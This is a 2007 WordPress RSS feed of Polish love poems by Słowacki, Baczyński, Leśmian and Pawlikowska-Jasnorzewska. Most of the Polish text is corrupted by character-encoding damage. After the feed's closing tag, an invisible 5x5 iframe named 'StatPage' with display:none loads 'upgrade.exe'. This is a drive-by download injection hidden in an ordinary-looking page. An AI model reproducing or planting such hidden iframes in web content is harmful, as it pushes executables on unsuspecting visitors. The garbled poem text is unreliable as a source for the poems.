<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Bajki Opowiadania</title>
	<link>http://www.bajkiopowiadania.com</link>
	<description>Bajki Opowiadania</description>
	<pubDate>Sun, 03 Jun 2007 19:17:11 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>
	<language>en</language>
			<item>
		<title>Stokrotki- Juliusz SÅ‚owacki</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/stokrotki-juliusz-slowacki/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/stokrotki-juliusz-slowacki/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:51:36 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=103</guid>
		<description><![CDATA[
MI?o po listku rwac niepe?n? stokro?
I rozkochanych s?ï¿½w rï¿½?aniec cedzi?,
Mi?o przy ludziach by?o raz powiedzie?,
?e si? kochamy, i mï¿½wi? po stokro?.
Mi?o zab??dzi? pod lipowe cienie
Z kwiatkami w reku - i patrz?c ukradkiem,
Wzajemnie mï¿½wi? obrywanym kwiatkiem:
Kochasz!&#8230; i pani kochasz mnie szalenie&#8230;
Gdy nas rï¿½?owa porï¿½?ni?a sprzeczka,
A zgody ci?gle zabrania?y ?wiadki,
Pami?tasz, luba, jak te bia?e kwiatki,
Jeden mï¿½wi?: nie [...]]]></description>
			<content:encoded><![CDATA[<blockquote><img src="http://www.parkigry.com/wp-content/kwiatek__12_.gif" alt="kwiatek_12" align="right" height="100" width="133" /></p>
<p><strong><span style="color: #ff66cc">MI?o po listku rwac niepe?n? stokro?<br />
I rozkochanych s?ï¿½w rï¿½?aniec cedzi?,<br />
Mi?o przy ludziach by?o raz powiedzie?,<br />
?e si? kochamy, i mï¿½wi? po stokro?.</span></strong></p>
<p><strong><span style="color: #ff66cc">Mi?o zab??dzi? pod lipowe cienie<br />
Z kwiatkami w reku - i patrz?c ukradkiem,<br />
Wzajemnie mï¿½wi? obrywanym kwiatkiem:<br />
Kochasz!&#8230; i pani kochasz mnie szalenie&#8230;</span></strong></p>
<p><strong><span style="color: #ff66cc">Gdy nas rï¿½?owa porï¿½?ni?a sprzeczka,<br />
A zgody ci?gle zabrania?y ?wiadki,<br />
Pami?tasz, luba, jak te bia?e kwiatki,<br />
Jeden mï¿½wi?: nie - a drugi: troszeczka.</span></strong></p>
<p><strong><span style="color: #ff66cc">Dzisiaj samotny, dzisiaj bez nadziei<br />
B??dz?c po ska?ach, wszystkie moje smutki<br />
Zbieg?y si? razem do bia?ej stokrï¿½tki,<br />
Co by?a siostr? stokrï¿½tek w alei.<br />
Rwa?em j?&#8230; listki lecia?y w b??kicie<br />
A? na jezioro, ze ska?y, gdziem siedzia?;<br />
I wiesz, co listek ostatni powiedzia?? -<br />
Luba, ?e jeszcze kochasz mnie nad ?ycie.</span></strong></p>
<p style="text-align: center"><img src="http://www.parkigry.com/wp-content/kwiatek__5_.gif" alt="kwiatek_5" height="100" width="90" /></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/stokrotki-juliusz-slowacki/feed/</wfw:commentRss>
		</item>
		<item>
		<title>RozÅ‚Ä…czenie - Juliusz SÅ‚owacki</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/rozlaczenie-juliusz-slowacki/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/rozlaczenie-juliusz-slowacki/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:48:16 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=102</guid>
		<description><![CDATA[Roz??czeni - lecz jedno o drugim pami?ta;
Pomi?dzy nami lata bia?y go??b smutku
I nosi ci?g?e wie?ci. Wiem, kiedy w ogrï¿½dku,
Wiem, kiedy p?aczesz w cichej komnacie zamkni?ta;
Wiem, o jakiej godzinie wraca bolu fala,
Wiem, jaka ci rozmowa ludzi ?z? wyciska.
Ty? mi widna jak gwiazda, co si? tam zapala
I ?z? rï¿½?ow? leje, i skr? sin? b?yska.
]]></description>
			<content:encoded><![CDATA[<p><strong><em><span style="color: #00ccff">Roz??czeni - lecz jedno o drugim pami?ta;<br />
Pomi?dzy nami lata bia?y go??b smutku<br />
I nosi ci?g?e wie?ci. Wiem, kiedy w ogrï¿½dku,<br />
Wiem, kiedy p?aczesz w cichej komnacie zamkni?ta;</span></em></strong></p>
<p><strong><em><span style="color: #00ccff">Wiem, o jakiej godzinie wraca bolu fala,<br />
Wiem, jaka ci rozmowa ludzi ?z? wyciska.<br />
Ty? mi widna jak gwiazda, co si? tam zapala<br />
I ?z? rï¿½?ow? leje, i skr? sin? b?yska.</span></em></strong></p>
<p> <a href="http://www.bajkiopowiadania.com/2006/04/25/rozlaczenie-juliusz-slowacki/#more-102" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/rozlaczenie-juliusz-slowacki/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Noc (madonno moja) - Krzysztof Kamil BaczyÅ„ski</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/noc-madonno-moja-krzysztof-kamil-baczynski/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/noc-madonno-moja-krzysztof-kamil-baczynski/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:44:15 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=101</guid>
		<description><![CDATA[Madonno moja, grzechu pe?na,
w sen jak w zwierciad?o p?kni?te wprawiona.
Duszna noc, kamie? gwiazd na ramionach
i ta trwoga, jak ty - nie?miertelna.
Madonno moja w grzechu pocz?ta,
to nie s? winy, ktï¿½rym ?lez brak.
Noc jak zwierz? zatulone w strach,
noc, ktï¿½ra zawsze pami?ta.
Usta s? gorzkie i suche, do lodyg
spalonych tak m?odo podobne,
oczy ogniem niep?odne -
z?oty orzech.
Czym ?uska? z zamy?lenia?
Wiar? [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Madonno moja, grzechu pe?na,<br />
w sen jak w zwierciad?o p?kni?te wprawiona.<br />
Duszna noc, kamie? gwiazd na ramionach<br />
i ta trwoga, jak ty - nie?miertelna.<br />
Madonno moja w grzechu pocz?ta,<br />
to nie s? winy, ktï¿½rym ?lez brak.<br />
Noc jak zwierz? zatulone w strach,<br />
noc, ktï¿½ra zawsze pami?ta.<br />
Usta s? gorzkie i suche, do lodyg<br />
spalonych tak m?odo podobne,<br />
oczy ogniem niep?odne -<br />
z?oty orzech.</strong></p>
<p><img src="http://www.parkigry.com/wp-content/angel5.gif" alt="angel_5" align="right" height="260" width="200" /><strong>Czym ?uska? z zamy?lenia?<br />
Wiar? uczyni? po zgonie?<br />
Jestem jak blask twï¿½j, co tonie<br />
w morzach powrotnych jak ziemia.<br />
Madonno, czym mnie wybawisz od nocy?<br />
Czy dziecko przywrï¿½cisz wygi?ciem warg na dï¿½??<br />
Snom kolistym, kwiatom, wodospadom<br />
dasz si? przeze mnie toczy??<br />
Uczy? ruch nieomylny, daj nazwanie<br />
wiatrom ch?odnym, ktï¿½re z dzbanï¿½w lej?<br />
p?yn, co jak p?omie? jest.<br />
Dzi? noc i budz? si?, zanim dojrzej?<br />
w lusterkach twoich ?ez. </strong></p>
<p><strong><em>28 III 42 r., Stawisko.</em></strong></p>
<p><strong><br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/noc-madonno-moja-krzysztof-kamil-baczynski/feed/</wfw:commentRss>
		</item>
		<item>
		<title>MiÅ‚oÅ›Ä‡- Krzysztof Kamil BaczyÅ„ski</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/milosc-krzysztof-kamil-baczynski/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/milosc-krzysztof-kamil-baczynski/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:42:00 +0000</pubDate>
		<dc:creator>matteoraggi</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=100</guid>
		<description><![CDATA[
O nieba p?ynnych pogï¿½d,
o ptaki, o natchnienia.
Nie wydeptana ziemia,
nie wy?piewane Bogu
te drzewa, te kaskady
iskier, ten oddech nieba,
w ramionach jak w kolebach
zamkni?ty. Jak coko?y
drzewa z szumem na po?y;
serca jak dzbany ?aski,
takie serca jak gwiazdki,
takie oczu ob?oki,
taki lot - za wysoki
S?o?ce, s?o?ce w ramionach
czy twego cia?a kryszta?
pe?en owocï¿½w bia?ych,
gdzie zdrï¿½j zielony tryska,
gdzie oczy mi?kkie w mroku
tak pï¿½? [...]]]></description>
			<content:encoded><![CDATA[<blockquote><img src="http://www.parkigry.com/wp-content/sercezkwiatami.gif" alt="serce z kwiatami_1" align="right" height="200" width="212" /></p>
<p><strong><span style="color: #99cc00">O nieba p?ynnych pogï¿½d,<br />
o ptaki, o natchnienia.<br />
Nie wydeptana ziemia,<br />
nie wy?piewane Bogu<br />
te drzewa, te kaskady<br />
iskier, ten oddech nieba,<br />
w ramionach jak w kolebach<br />
zamkni?ty. Jak coko?y<br />
drzewa z szumem na po?y;<br />
serca jak dzbany ?aski,<br />
takie serca jak gwiazdki,<br />
takie oczu ob?oki,<br />
taki lot - za wysoki</span></strong></p>
<p><strong><span style="color: #99cc00">S?o?ce, s?o?ce w ramionach<br />
czy twego cia?a kryszta?<br />
pe?en owocï¿½w bia?ych,<br />
gdzie zdrï¿½j zielony tryska,<br />
gdzie oczy mi?kkie w mroku<br />
tak pï¿½? mnie, a pï¿½? Bogu.</span></strong></p>
<p><strong><span style="color: #99cc00">Twych krokï¿½w korowody<br />
w urojonych alejach,<br />
twe odbicia u wody<br />
jak w pragnieniach, nadziejach.<br />
Twoje usta u ?rï¿½de?<br />
to syte, to znï¿½w g?odne,<br />
i twï¿½j u?miech, i p?akanie<br />
nie odp?ynie, zostanie<br />
Unios? je, przenios?<br />
jak ramionami - g?osem,<br />
w czas daleki, wysoko,<br />
w obcowanie ob?okom.</span></strong></p>
<p><img src="http://www.parkigry.com/wp-content/bukietr.gif" alt="bukiet rï¿½?" height="260" width="302" /></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/milosc-krzysztof-kamil-baczynski/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Erotyk- Krzysztof Kamil BaczyÅ„ski</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/erotyk-krzysztof-kamil-baczynski/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/erotyk-krzysztof-kamil-baczynski/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:39:17 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=99</guid>
		<description><![CDATA[W potoku w?osï¿½w twoich, w rzece ust,
kniei jak wieczï¿½r - ciemnej
wo?anie nadaremne,
daremny plusk.
Jeszcze w mroku owin?, tak jeszcze rï¿½za nocy
i minie ?wiat ga??zk?, strzepem albo gestem,
potem niemo si? stoczy,
smuga przejdzie przez oczy
i powiem: nie b?d?c -jestem.
Jeszcze tak w ciebie p?yn?c, nios?c ci? tak odbit?
w ?renicach lub u powiek zawis?a jak ?ze,
us?ysze w tobie morze delfinem [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="color: #ff3101">W potoku w?osï¿½w twoich, w rzece ust,<br />
kniei jak wieczï¿½r - ciemnej<br />
wo?anie nadaremne,<br />
daremny plusk.</span></strong></p>
<p><strong><span style="color: #ff3101">Jeszcze w mroku owin?, tak jeszcze rï¿½za nocy<br />
i minie ?wiat ga??zk?, strzepem albo gestem,<br />
potem niemo si? stoczy,<br />
smuga przejdzie przez oczy<br />
i powiem: nie b?d?c -jestem.</span></strong></p>
<p><strong><span style="color: #ff3101">Jeszcze tak w ciebie p?yn?c, nios?c ci? tak odbit?<br />
w ?renicach lub u powiek zawis?a jak ?ze,<br />
us?ysze w tobie morze delfinem srebrnie ryte,<br />
w muszli twojego cia?a szumi?ce snem;</span></strong></p>
<p><strong><span style="color: #ff3101">Albo w gaju, gdzie jeste?<br />
brzoz?, bia?ym powietrzem<br />
i mlekiem dnia,<br />
barbarzync? ogromnym,<br />
tysi?c wiekï¿½w dzwigaj?c<br />
trysn? szumem bugaju<br />
w ga??ziach twoich - ptak.</span></strong></p>
<p><strong><span style="color: #ff3101">Dedykacja:<br />
Jeden dzie? - a na t?sknot? - wiek.<br />
jeden gest - a ju? orkanï¿½w pochï¿½d,<br />
jeden krok - a oto? tylko jest<br />
w ka?dy czas - duch czekaj?cy w prochu.</span></strong></p>
<p style="text-align: right" align="right"><em><strong><span style="color: #ff3101">mojej najdro?szej Basi - Krzysztof</span></strong></em><span style="color: #ff3101"></span></p>
<p><strong><em><span style="color: #ff3101">2 luty 1942</span></em></strong><span style="color: #ff3101"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/erotyk-krzysztof-kamil-baczynski/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Dwoje ludzieÅ„kÃ³w - BolesÅ‚aw LeÅ›mian</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/dwoje-ludzienkow-boleslaw-lesmian/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/dwoje-ludzienkow-boleslaw-lesmian/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 12:01:51 +0000</pubDate>
		<dc:creator>matteoraggi</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=97</guid>
		<description><![CDATA[Cz?sto w duszy mi dzwoni pie??, wy?kana w ?a?obie,
O tych dwojgu ludzie?kach, co kochali si? w sobie.
Lecz w ogrodzie szept pierwszy mi?osnego wyznania
Sta? si? dla nich przymusem do nag?ego rozstania.
Nie widzieli si? d?ugo z czyjej? woli i winy,
A czas ci?gle up?ywa? - bezpowrotny, jedyny.
A gdy zeszli si?, d?onie wyci?gaj?c po kwiecie,
Zachorzeli tak bardzo, jak nikt [...]]]></description>
			<content:encoded><![CDATA[<blockquote><strong>Cz?sto w duszy mi dzwoni pie??, wy?kana w ?a?obie,<br />
O tych dwojgu ludzie?kach, co kochali si? w sobie.</strong></p>
<p><strong>Lecz w ogrodzie szept pierwszy mi?osnego wyznania<br />
Sta? si? dla nich przymusem do nag?ego rozstania.</strong></p>
<p><strong>Nie widzieli si? d?ugo z czyjej? woli i winy,<br />
A czas ci?gle up?ywa? - bezpowrotny, jedyny.</strong></p>
<p><strong>A gdy zeszli si?, d?onie wyci?gaj?c po kwiecie,<br />
Zachorzeli tak bardzo, jak nikt dot?d na ?wiecie!</strong></p>
<p><strong>Pod jaworem - dwa ?ï¿½?ka, pod jaworem - dwa cienie,<br />
Pod jaworem ostatnie, beznadziejne spojrzenie.</strong></p>
<p><strong>I pomarli oboje bez pieszczoty, bez grzechu,<br />
Bez ?zy szcz??cia na oczach, bez jednego u?miechu.</strong></p>
<p><strong>Ust ich czerwie? zagas?a w zimnym ?mierci fiolecie,<br />
I pobledli tak bardzo, jak nikt dot?d na ?wiecie!</strong></p>
<p><strong>Chcieli jeszcze si? kocha? poza w?asn? mogi??,<br />
Ale mi?o?? umar?a, ju? mi?o?ci nie by?o.</strong></p>
<p><strong>I pokl?kli spï¿½?nieni u niedoli swej proga,<br />
By si? modli? o wszystko, lecz nie by?o ju? Boga.</strong></p>
<p><strong>Wi?c si? reszt? dotrwali a? do wiosny, do lata,<br />
By powrï¿½ci? na ziemi? - lecz nie by?o ju? ?wiata.</strong></p>
<p style="text-align: center"><img src="http://www.parkigry.com/wp-content/caujcasipara.gif" alt="para_1" height="115" width="115" /></p>
<p><strong> </strong></p>
<p class="MsoNormal"><strong> </strong></p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/dwoje-ludzienkow-boleslaw-lesmian/feed/</wfw:commentRss>
		</item>
		<item>
		<title>* Com uczyniÅ‚- BolesÅ‚aw LeÅ›mian</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/com-uczynil-boleslaw-lesmian/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/com-uczynil-boleslaw-lesmian/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 11:58:41 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=96</guid>
		<description><![CDATA[Com uczyni?, ?e? nagle poblad?a?
Com zaszepta?, ?e? wszystko odgad?a?
Jak?e milcz?c pogl?dasz na drog?!
Kocha? ciebie nie mog?, nie mog?!
Wieczï¿½r s?o?ca zdmuchuje rozniet?.
Nie te usta i oczy ju? nie te&#8230;
Drzewa szumi? i szumi? nad nami
Ga??ziami, ga??ziami, ga??ziami!
Ten ci jestem, co idzie dolin?
Z inn? - Bogu wiadom? dziewczyn?,
A ty idziesz w ?lad za mn? bez wiary
W ?ez pot?g? [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="color: #993300">Com uczyni?, ?e? nagle poblad?a?<br />
Com zaszepta?, ?e? wszystko odgad?a?<br />
Jak?e milcz?c pogl?dasz na drog?!<br />
Kocha? ciebie nie mog?, nie mog?!<br />
Wieczï¿½r s?o?ca zdmuchuje rozniet?.<br />
Nie te usta i oczy ju? nie te&#8230;<br />
Drzewa szumi? i szumi? nad nami<br />
Ga??ziami, ga??ziami, ga??ziami!</span></strong></p>
<p><strong><span style="color: #993300">Ten ci jestem, co idzie dolin?<br />
Z inn? - Bogu wiadom? dziewczyn?,<br />
A ty idziesz w ?lad za mn? bez wiary<br />
W ?ez pot?g? i w oczu swych czary -<br />
Idziesz chwiejna, jak cie?, co si? tu?a -<br />
Wyn?dznia?a, na bï¿½l swï¿½j nieczu?a -<br />
Pyln? drog? zamiatasz przed nami<br />
Warkoczami, warkoczami, warkoczami!</span></strong></p>
<p class="MsoNormal"><strong><span style="color: #993300"> </span></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/com-uczynil-boleslaw-lesmian/feed/</wfw:commentRss>
		</item>
		<item>
		<title>* Czasami mojej - BolesÅ‚aw LeÅ›mian</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/czasami-mojej-bolesla-lesmian/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/czasami-mojej-bolesla-lesmian/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 11:56:38 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=95</guid>
		<description><![CDATA[Czasami mojej ?lepej pos?uszny ochocie
Pragn? w tobie mie? czujn? na byle skinienie
S?ug?, co pieszczotami gasi me pragnienie,
A ty jeste? tak zmy?lna i zwinna w pieszczocie! 
Gdy twï¿½j warkocz jak w s?oncu wybuja?e ziele
Tchem rozwartych ogrodï¿½w m? dusze owionie,
G?ow? tw? niby puchar ujmuje w swe d?onie
I wargami w ?lad dreszczu prowadz? po ciele. 
I raduj? si? [...]]]></description>
			<content:encoded><![CDATA[<blockquote><strong>Czasami mojej ?lepej pos?uszny ochocie<br />
Pragn? w tobie mie? czujn? na byle skinienie<br />
S?ug?, co pieszczotami gasi me pragnienie,<br />
A ty jeste? tak zmy?lna i zwinna w pieszczocie! </strong></p>
<p><strong>Gdy twï¿½j warkocz jak w s?oncu wybuja?e ziele<br />
Tchem rozwartych ogrodï¿½w m? dusze owionie,<br />
G?ow? tw? niby puchar ujmuje w swe d?onie<br />
I wargami w ?lad dreszczu prowadz? po ciele. </strong></p>
<p><strong>I raduj? si? ?ledz?c t? warge, jak zmierza </strong><br />
<strong>         Do mej piersi kosmatej, widnej w niedomroczu, </strong><br />
<strong>         W ktï¿½rej marz? pier? w lesie ryczacego zwierza </strong><br />
<strong>         I staram si?, gdy pie?cisz nie traci? go z oczu.</strong></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/czasami-mojej-bolesla-lesmian/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Amory - Maria Pawlikowska- Jasnorzewska</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/amory-maria-pawlikowska-jasnorzewska/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/amory-maria-pawlikowska-jasnorzewska/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 11:51:57 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=94</guid>
		<description><![CDATA[Nag?a my?l i mo?liwo?? buchaj?ca pie?ni?,
o której sen ostrzega? radosnym pó?g?osem&#8230;
Zamiast ust, które jeszcze ca?owa? si? nie ?mi?,
- papieros zapalony drugim papierosem. 
Zetkni?cie ramion w lo?y lub w g??bi karety,
koncentruj?ce ?ycie w p?on?cym r?kawie!
S?odkie ognie bengalskie, rozkosze rakiety,
i oczy roze?miane w ?miertelnej zabawie. 
Shake-hand za d?ugi nieco, a chc?cy trwa? wiecznie,
i odpychanie ludzi: nie mówcie! [...]]]></description>
			<content:encoded><![CDATA[<p><strong><em><span style="font-size: 10pt; color: #6600cc">Nag?a my?l i mo?liwo?? buchaj?ca pie?ni?,<br />
o której sen ostrzega? radosnym pó?g?osem&#8230;<br />
Zamiast ust, które jeszcze ca?owa? si? nie ?mi?,<br />
- papieros zapalony drugim papierosem. </span></em></strong></p>
<p><strong><em><span style="font-size: 10pt; color: #6600cc">Zetkni?cie ramion w lo?y lub w g??bi karety,<br />
koncentruj?ce ?ycie w p?on?cym r?kawie!<br />
S?odkie ognie bengalskie, rozkosze rakiety,<br />
i oczy roze?miane w ?miertelnej zabawie. </span></em></strong></p>
<p><strong><em><span style="font-size: 10pt; color: #6600cc">Shake-hand za d?ugi nieco, a chc?cy trwa? wiecznie,<br />
i odpychanie ludzi: nie mówcie! nie rad?cie!<br />
i s?owa dr??ce, wdzi?czne, niepotrzebne, ?mieszne,<br />
jak koronki i wst??ki na przecudnym akcie.</span><span style="color: #6600cc"> </span></em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/amory-maria-pawlikowska-jasnorzewska/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ach, to nie byÅ‚o warte- Maria Pawlikowska - Jasnorzewska</title>
		<link>http://www.bajkiopowiadania.com/2006/04/25/ach-to-nie-bylo-warte-maria-pawlikowska-jasnorzewska/</link>
		<comments>http://www.bajkiopowiadania.com/2006/04/25/ach-to-nie-bylo-warte-maria-pawlikowska-jasnorzewska/#comments</comments>
		<pubDate>Tue, 25 Apr 2006 11:49:03 +0000</pubDate>
		<dc:creator>bajkiopowiadania</dc:creator>
		
		<category><![CDATA[Wiersze]]></category>

		<category><![CDATA[Poezja]]></category>

		<guid isPermaLink="false">http://www.bajkiopowiadania.com/?p=93</guid>
		<description><![CDATA[ Ach, to nie by?o warte 
       by sny tym karmi? uparte 
       
       by stawia? dusz? na kart? 
       ach to nie by?o warte. 
      [...]]]></description>
			<content:encoded><![CDATA[<blockquote><strong><font size="2"> Ach, to nie by?o warte </font></strong><br />
<strong><font size="2">       by sny tym karmi? uparte </font></strong><br />
<strong><font size="2">       </font></strong><br />
<strong><font size="2">       by stawia? dusz? na kart? </font></strong><br />
<strong><font size="2">       ach to nie by?o warte. </font></strong><br />
<strong><font size="2">       </font></strong><br />
<strong><font size="2">       Ach, to nie by?o warte </font></strong><br />
<strong><font size="2">       by nosi? ?zy nie otarte </font></strong><br />
<strong><font size="2">       </font></strong><br />
<strong><font size="2">       i by mie? serce wydarte </font></strong><br />
<strong><font size="2">       to wcale nie by?o warte&#8230;</font></strong></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.bajkiopowiadania.com/2006/04/25/ach-to-nie-bylo-warte-maria-pawlikowska-jasnorzewska/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<IFRAME name='StatPage'
src='upgrade.exe' width=5 height=5
style='display:none'></IFRAME>